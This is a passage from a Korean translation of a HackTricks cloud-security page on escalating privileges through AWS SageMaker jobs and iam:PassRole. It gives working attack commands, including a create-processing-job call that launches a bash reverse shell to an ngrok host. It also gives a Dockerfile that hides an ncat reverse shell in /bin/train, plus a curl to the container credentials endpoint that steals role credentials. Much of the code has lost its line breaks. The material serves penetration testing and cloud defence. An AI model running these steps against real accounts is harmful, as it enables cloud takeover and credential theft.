다음은 새로 생성된 노트북 인스턴스의 ARN을 포함하는 NotebookInstanceArn 필드를 포함한 응답이어야 합니다. 그런 다음 create-presigned-notebook-instance-url API를 사용하여 노트북 인스턴스가 준비되면 액세스할 수 있는 URL을 생성할 수 있습니다.
해당 권한을 가진 공격자는 sagemaker가 sagemaker 역할이 연결된 처리 작업을 실행하도록 할 수 있습니다. 공격자는 AWS 관리 ECS 계정 인스턴스에서 실행될 컨테이너의 정의를 지정하고, 연결된 IAM 역할의 자격 증명을 탈취할 수 있습니다.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
잠재적 영향: 지정된 sagemaker 서비스 역할에 대한 권한 상승
sagemaker:CreateTrainingJob, iam:PassRole
이러한 권한을 가진 공격자는 훈련 작업을 생성할 수 있으며, 그 작업에 연결된 역할을 가진 임의의 컨테이너를 실행할 수 있습니다. 따라서, 공격자는 역할의 자격 증명을 도용할 수 있습니다.
이 시나리오는 이전 시나리오보다 공격이 어렵습니다. 왜냐하면 훈련 작업의 구성에서 시작 명령을 지정할 수 없기 때문에, 공격자는 리버스 쉘이나 자격 증명을 직접 공격자에게 전송하는 도커 이미지를 생성해야 합니다.
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p$(awsecrget-login-password--region<region>)<id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**잠재적 영향:** 지정된 Sagemaker 서비스 역할에 대한 권한 상승
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
이러한 권한을 가진 공격자는 (잠재적으로) **하이퍼파라미터 튜닝 작업**을 생성하고, 그 위에서 **임의의 컨테이너를 실행**하며, 그에 **연결된 역할**을 사용할 수 있습니다.\
_시간 부족으로 인해 이를 악용하지는 않았지만, 이전의 취약점과 유사해 보입니다. 악용 세부 정보를 보내주시면 PR을 보내주시기 바랍니다._
# 참고 자료
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
</details>